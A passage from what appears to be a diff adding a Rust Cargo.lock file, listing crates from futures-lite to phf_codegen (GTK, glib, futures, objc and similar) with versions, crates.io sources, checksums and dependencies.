"registry+https://github.com/rust-lang/crates.io-index" +checksum = "49a9d51ce47660b1e808d3c990b4709f2f415d928835a17dfd16991515c46bce" +dependencies = [ + "fastrand 1.9.0", + "futures-core", + "futures-io", + "memchr", + "parking", + "pin-project-lite", + "waker-fn", +] + +[[package]] +name = "futures-lite" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "445ba825b27408685aaecefd65178908c36c6e96aaf6d8599419d46e624192ba" +dependencies = [ + "fastrand 2.0.1", + "futures-core", + "futures-io", + "parking", + "pin-project-lite", +] + +[[package]] +name = "futures-macro" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "futures-sink" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5" + +[[package]] +name = "futures-task" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" + +[[package]] +name = "futures-util" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" +dependencies = [ + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "fxhash" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c31b6d751ae2c7f11320402d34e41349dd1016f8d5d45e48c4312bc8625af50c" +dependencies = [ + "byteorder", +] + +[[package]] +name = "gdk" +version = "0.15.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6e05c1f572ab0e1f15be94217f0dc29088c248b14f792a5ff0af0d84bcda9e8" +dependencies = [ + "bitflags 1.3.2", + "cairo-rs", + "gdk-pixbuf", + "gdk-sys", + "gio", + "glib", + "libc", + "pango", +] + +[[package]] +name = "gdk-pixbuf" +version = "0.15.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad38dd9cc8b099cceecdf41375bb6d481b1b5a7cd5cd603e10a69a9383f8619a" +dependencies = [ + "bitflags 1.3.2", + "gdk-pixbuf-sys", + "gio", + "glib", + "libc", +] + +[[package]] +name = "gdk-pixbuf-sys" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "140b2f5378256527150350a8346dbdb08fadc13453a7a2d73aecd5fab3c402a7" +dependencies = [ + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "system-deps 6.2.0", +] + +[[package]] +name = "gdk-sys" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32e7a08c1e8f06f4177fb7e51a777b8c1689f743a7bc11ea91d44d2226073a88" +dependencies = [ + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "pango-sys", + "pkg-config", + "system-deps 6.2.0", +] + +[[package]] +name = "gdkwayland-sys" +version = "0.15.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cca49a59ad8cfdf36ef7330fe7bdfbe1d34323220cc16a0de2679ee773aee2c2" +dependencies = [ + "gdk-sys", + "glib-sys", + "gobject-sys", + "libc", + "pkg-config", + "system-deps 6.2.0", +] + +[[package]] +name = "gdkx11-sys" +version = "0.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4b7f8c7a84b407aa9b143877e267e848ff34106578b64d1e0a24bf550716178" +dependencies = [ + "gdk-sys", + "glib-sys", + "libc", + "system-deps 6.2.0", + "x11", +] + +[[package]] +name = "generator" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5cc16584ff22b460a382b7feec54b23d2908d858152e5739a120b949293bd74e" +dependencies = [ + "cc", + "libc", + "log", + "rustversion", + "windows 0.48.0", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "gethostname" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb65d4ba3173c56a500b555b532f72c42e8d1fe64962b518897f8959fae2c177" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "getrandom" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.9.0+wasi-snapshot-preview1", +] + +[[package]] +name = "getrandom" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.11.0+wasi-snapshot-preview1", +] + +[[package]] +name = "gimli" +version = "0.28.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" + +[[package]] +name = "gio" +version = "0.15.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68fdbc90312d462781a395f7a16d96a2b379bb6ef8cd6310a2df272771c4283b" +dependencies = [ + "bitflags 1.3.2", + "futures-channel", + "futures-core", + "futures-io", + "gio-sys", + "glib", + "libc", + "once_cell", + "thiserror", +] + +[[package]] +name = "gio-sys" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32157a475271e2c4a023382e9cab31c4584ee30a97da41d3c4e9fdd605abcf8d" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps 6.2.0", + "winapi", +] + +[[package]] +name = "glib" +version = "0.15.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edb0306fbad0ab5428b0ca674a23893db909a98582969c9b537be4ced78c505d" +dependencies = [ + "bitflags 1.3.2", + "futures-channel", + "futures-core", + "futures-executor", + "futures-task", + "glib-macros", + "glib-sys", + "gobject-sys", + "libc", + "once_cell", + "smallvec", + "thiserror", +] + +[[package]] +name = "glib-macros" +version = "0.15.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10c6ae9f6fa26f4fb2ac16b528d138d971ead56141de489f8111e259b9df3c4a" +dependencies = [ + "anyhow", + "heck 0.4.1", + "proc-macro-crate", + "proc-macro-error", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "glib-sys" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef4b192f8e65e9cf76cbf4ea71fa8e3be4a0e18ffe3d68b8da6836974cc5bad4" +dependencies = [ + "libc", + "system-deps 6.2.0", +] + +[[package]] +name = "glob" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" + +[[package]] +name = "globset" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57da3b9b5b85bd66f31093f8c408b90a74431672542466497dcbdfdc02034be1" +dependencies = [ + "aho-corasick", + "bstr", + "log", + "regex-automata 0.4.3", + "regex-syntax 0.8.2", +] + +[[package]] +name = "gobject-sys" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d57ce44246becd17153bd035ab4d32cfee096a657fc01f2231c9278378d1e0a" +dependencies = [ + "glib-sys", + "libc", + "system-deps 6.2.0", +] + +[[package]] +name = "gtk" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92e3004a2d5d6d8b5057d2b57b3712c9529b62e82c77f25c1fecde1fd5c23bd0" +dependencies = [ + "atk", + "bitflags 1.3.2", + "cairo-rs", + "field-offset", + "futures-channel", + "gdk", + "gdk-pixbuf", + "gio", + "glib", + "gtk-sys", + "gtk3-macros", + "libc", + "once_cell", + "pango", + "pkg-config", +] + +[[package]] +name = "gtk-sys" +version = "0.15.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d5bc2f0587cba247f60246a0ca11fe25fb733eabc3de12d1965fc07efab87c84" +dependencies = [ + "atk-sys", + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gdk-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "pango-sys", + "system-deps 6.2.0", +] + +[[package]] +name = "gtk3-macros" +version = "0.15.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "684c0456c086e8e7e9af73ec5b84e35938df394712054550e81558d21c44ab0d" +dependencies = [ + "anyhow", + "proc-macro-crate", + "proc-macro-error", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" + +[[package]] +name = "hashbrown" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" + +[[package]] +name = "heck" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" +dependencies = [ + "unicode-segmentation", +] + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "hermit-abi" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "html5ever" +version = "0.26.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bea68cab48b8459f17cf1c944c67ddc572d272d9f2b274140f223ecb1da4a3b7" +dependencies = [ + "log", + "mac", + "markup5ever", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "http" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8947b1a6fad4393052c7ba1f4cd97bed3e953a95c79c92ad9b051a04611d9fbb" +dependencies = [ + "bytes", + "fnv", + "itoa 1.0.10", +] + +[[package]] +name = "http" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b32afd38673a8016f7c9ae69e5af41a58f81b1d31689040f2f1959594ce194ea" +dependencies = [ + "bytes", + "fnv", + "itoa 1.0.10", +] + +[[package]] +name = "http-range" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21dec9db110f5f872ed9699c3ecf50cf16f423502706ba5c72462e28d3157573" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "iana-time-zone" +version = "0.1.59" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6a67363e2aa4443928ce15e57ebae94fd8949958fd1223c4cfc0cd473ad7539" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "ico" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3804960be0bb5e4edb1e1ad67afd321a9ecfd875c3e65c099468fd2717d7cae" +dependencies = [ + "byteorder", + "png", +] + +[[package]] +name = "ident_case" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" + +[[package]] +name = "idna" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "ignore" +version = "0.4.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b46810df39e66e925525d6e38ce1e7f6e1d208f72dc39757880fcb66e2c58af1" +dependencies = [ + "crossbeam-deque", + "globset", + "log", + "memchr", + "regex-automata 0.4.3", + "same-file", + "walkdir", + "winapi-util", +] + +[[package]] +name = "image" +version = "0.24.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "034bbe799d1909622a74d1193aa50147769440040ff36cb2baa947609b0a4e23" +dependencies = [ + "bytemuck", + "byteorder", + "color_quant", + "num-traits", + "png", + "tiff", +] + +[[package]] +name = "indexmap" +version = "1.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" +dependencies = [ + "autocfg", + "hashbrown 0.12.3", + "serde", +] + +[[package]] +name = "indexmap" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" +dependencies = [ + "equivalent", + "hashbrown 0.14.3", + "serde", +] + +[[package]] +name = "infer" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f551f8c3a39f68f986517db0d1759de85881894fdc7db798bd2a9df9cb04b7fc" +dependencies = [ + "cfb", +] + +[[package]] +name = "instant" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "io-lifetimes" +version = "1.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2" +dependencies = [ + "hermit-abi", + "libc", + "windows-sys 0.48.0", +] + +[[package]] +name = "itoa" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b71991ff56294aa922b450139ee08b3bfc70982c6b2c7562771375cf73542dd4" + +[[package]] +name = "itoa" +version = "1.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" + +[[package]] +name = "javascriptcore-rs" +version = "0.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf053e7843f2812ff03ef5afe34bb9c06ffee120385caad4f6b9967fcd37d41c" +dependencies = [ + "bitflags 1.3.2", + "glib", + "javascriptcore-rs-sys", +] + +[[package]] +name = "javascriptcore-rs-sys" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "905fbb87419c5cde6e3269537e4ea7d46431f3008c5d057e915ef3f115e7793c" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps 5.0.0", +] + +[[package]] +name = "jni" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "039022cdf4d7b1cf548d31f60ae783138e5fd42013f6271049d7df7afadef96c" +dependencies = [ + "cesu8", + "combine", + "jni-sys", + "log", + "thiserror", + "walkdir", +] + +[[package]] +name = "jni-sys" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130" + +[[package]] +name = "jpeg-decoder" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f5d4a7da358eff58addd2877a45865158f0d78c911d43a5784ceb7bbf52833b0" + +[[package]] +name = "js-sys" +version = "0.3.67" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a1d36f1235bc969acba30b7f5990b864423a6068a10f7c90ae8f0112e3a59d1" +dependencies = [ + "wasm-bindgen", +] + +[[package]] +name = "json-patch" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55ff1e1486799e3f64129f8ccad108b38290df9cd7015cd31bed17239f0789d6" +dependencies = [ + "serde", + "serde_json", + "thiserror", + "treediff", +] + +[[package]] +name = "kuchikiki" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f29e4755b7b995046f510a7520c42b2fed58b77bd94d5a87a8eb43d2fd126da8" +dependencies = [ + "cssparser", + "html5ever", + "indexmap 1.9.3", + "matches", + "selectors", +] + +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + +[[package]] +name = "libappindicator" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db2d3cb96d092b4824cb306c9e544c856a4cb6210c1081945187f7f1924b47e8" +dependencies = [ + "glib", + "gtk", + "gtk-sys", + "libappindicator-sys", + "log", +] + +[[package]] +name = "libappindicator-sys" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1b3b6681973cea8cc3bce7391e6d7d5502720b80a581c9a95c9cbaf592826aa" +dependencies = [ + "gtk-sys", + "libloading", + "once_cell", +] + +[[package]] +name = "libc" +version = "0.2.152" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7" + +[[package]] +name = "libloading" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b67380fd3b2fbe7527a606e18729d21c6f3951633d0500574c4dc22d2d638b9f" +dependencies = [ + "cfg-if", + "winapi", +] + +[[package]] +name = "libredox" +version = "0.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8" +dependencies = [ + "bitflags 2.4.1", + "libc", + "redox_syscall", +] + +[[package]] +name = "line-wrap" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f30344350a2a51da54c1d53be93fade8a237e545dbcc4bdbe635413f2117cab9" +dependencies = [ + "safemem", +] + +[[package]] +name = "linux-raw-sys" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" + +[[package]] +name = "linux-raw-sys" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4cd1a83af159aa67994778be9070f0ae1bd732942279cabb14f86f986a21456" + +[[package]] +name = "lock_api" +version = "0.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" + +[[package]] +name = "loom" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff50ecb28bb86013e935fb6683ab1f6d3a20016f123c76fd4c27470076ac30f5" +dependencies = [ + "cfg-if", + "generator", + "scoped-tls", + "serde", + "serde_json", + "tracing", + "tracing-subscriber", +] + +[[package]] +name = "mac" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c41e0c4fef86961ac6d6f8a82609f55f31b05e4fce149ac5710e439df7619ba4" + +[[package]] +name = "malloc_buf" +version = "0.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62bb907fe88d54d8d9ce32a3cceab4218ed2f6b7d35617cafe9adf84e43919cb" +dependencies = [ + "libc", +] + +[[package]] +name = "markup5ever" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a2629bb1404f3d34c2e921f21fd34ba00b206124c81f65c50b43b6aaefeb016" +dependencies = [ + "log", + "phf 0.10.1", + "phf_codegen 0.10.0", + "string_cache", + "string_cache_codegen", + "tendril", +] + +[[package]] +name = "matchers" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558" +dependencies = [ + "regex-automata 0.1.10", +] + +[[package]] +name = "matches" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2532096657941c2fea9c289d370a250971c689d4f143798ff67113ec042024a5" + +[[package]] +name = "memchr" +version = "2.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" + +[[package]] +name = "memoffset" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5de893c32cde5f383baa4c04c5d6dbdd735cfd4a794b0debdb2bb1b421da5ff4" +dependencies = [ + "autocfg", +] + +[[package]] +name = "memoffset" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c" +dependencies = [ + "autocfg", +] + +[[package]] +name = "miniz_oxide" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +dependencies = [ + "adler", + "simd-adler32", +] + +[[package]] +name = "ndk" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2032c77e030ddee34a6787a64166008da93f6a352b629261d0fee232b8742dd4" +dependencies = [ + "bitflags 1.3.2", + "jni-sys", + "ndk-sys", + "num_enum", + "thiserror", +] + +[[package]] +name = "ndk-context" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27b02d87554356db9e9a873add8782d4ea6e3e58ea071a9adb9a2e8ddb884a8b" + +[[package]] +name = "ndk-sys" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e5a6ae77c8ee183dcbbba6150e2e6b9f3f4196a7666c02a715a95692ec1fa97" +dependencies = [ + "jni-sys", +] + +[[package]] +name = "new_debug_unreachable" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e4a24736216ec316047a1fc4252e27dabb04218aa4a3f37c6e7ddbf1f9782b54" + +[[package]] +name = "nix" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "598beaf3cc6fdd9a5dfb1630c2800c7acd31df7aaf0f565796fba2b53ca1af1b" +dependencies = [ + "bitflags 1.3.2", + "cfg-if", + "libc", + "memoffset 0.7.1", +] + +[[package]] +name = "nodrop" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72ef4a56884ca558e5ddb05a1d1e7e1bfd9a68d9ed024c21704cc98872dae1bb" + +[[package]] +name = "nu-ansi-term" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" +dependencies = [ + "overload", + "winapi", +] + +[[package]] +name = "num-traits" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" +dependencies = [ + "autocfg", +] + +[[package]] +name = "num_cpus" +version = "1.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" +dependencies = [ + "hermit-abi", + "libc", +] + +[[package]] +name = "num_enum" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f646caf906c20226733ed5b1374287eb97e3c2a5c227ce668c1f2ce20ae57c9" +dependencies = [ + "num_enum_derive", +] + +[[package]] +name = "num_enum_derive" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dcbff9bc912032c62bf65ef1d5aea88983b420f4f839db1e9b0c281a25c9c799" +dependencies = [ + "proc-macro-crate", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "objc" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "915b1b472bc21c53464d6c8461c9d3af805ba1ef837e1cac254428f4a77177b1" +dependencies = [ + "malloc_buf", + "objc_exception", +] + +[[package]] +name = "objc-foundation" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1add1b659e36c9607c7aab864a76c7a4c2760cd0cd2e120f3fb8b952c7e22bf9" +dependencies = [ + "block", + "objc", + "objc_id", +] + +[[package]] +name = "objc_exception" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad970fb455818ad6cba4c122ad012fae53ae8b4795f86378bce65e4f6bab2ca4" +dependencies = [ + "cc", +] + +[[package]] +name = "objc_id" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c92d4ddb4bd7b50d730c215ff871754d0da6b2178849f8a2a2ab69712d0c073b" +dependencies = [ + "objc", +] + +[[package]] +name = "object" +version = "0.32.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" +dependencies = [ + "memchr", +] + +[[package]] +name = "once_cell" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" + +[[package]] +name = "open" +version = "3.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2078c0039e6a54a0c42c28faa984e115fb4c2d5bf2208f77d1961002df8576f8" +dependencies = [ + "pathdiff", + "windows-sys 0.42.0", +] + +[[package]] +name = "ordered-stream" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9aa2b01e1d916879f73a53d01d1d6cee68adbb31d6d9177a8cfce093cced1d50" +dependencies = [ + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "overload" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" + +[[package]] +name = "pango" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22e4045548659aee5313bde6c582b0d83a627b7904dd20dc2d9ef0895d414e4f" +dependencies = [ + "bitflags 1.3.2", + "glib", + "libc", + "once_cell", + "pango-sys", +] + +[[package]] +name = "pango-sys" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2a00081cde4661982ed91d80ef437c20eacaf6aa1a5962c0279ae194662c3aa" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps 6.2.0", +] + +[[package]] +name = "parking" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb813b8af86854136c6922af0598d719255ecb2179515e6e7730d468f05c9cae" + +[[package]] +name = "parking_lot" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-targets 0.48.5", +] + +[[package]] +name = "pathdiff" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8835116a5c179084a830efb3adc117ab007512b535bc1a21c991d3b32a6b44dd" + +[[package]] +name = "percent-encoding" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" + +[[package]] +name = "phf" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3dfb61232e34fcb633f43d12c58f83c1df82962dcdfa565a4e866ffc17dafe12" +dependencies = [ + "phf_macros 0.8.0", + "phf_shared 0.8.0", + "proc-macro-hack", +] + +[[package]] +name = "phf" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fabbf1ead8a5bcbc20f5f8b939ee3f5b0f6f281b6ad3468b84656b658b455259" +dependencies = [ + "phf_shared 0.10.0", +] + +[[package]] +name = "phf" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ade2d8b8f33c7333b51bcf0428d37e217e9f32192ae4772156f65063b8ce03dc" +dependencies = [ + "phf_macros 0.11.2", + "phf_shared 0.11.2", +] + +[[package]] +name = "phf_codegen" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 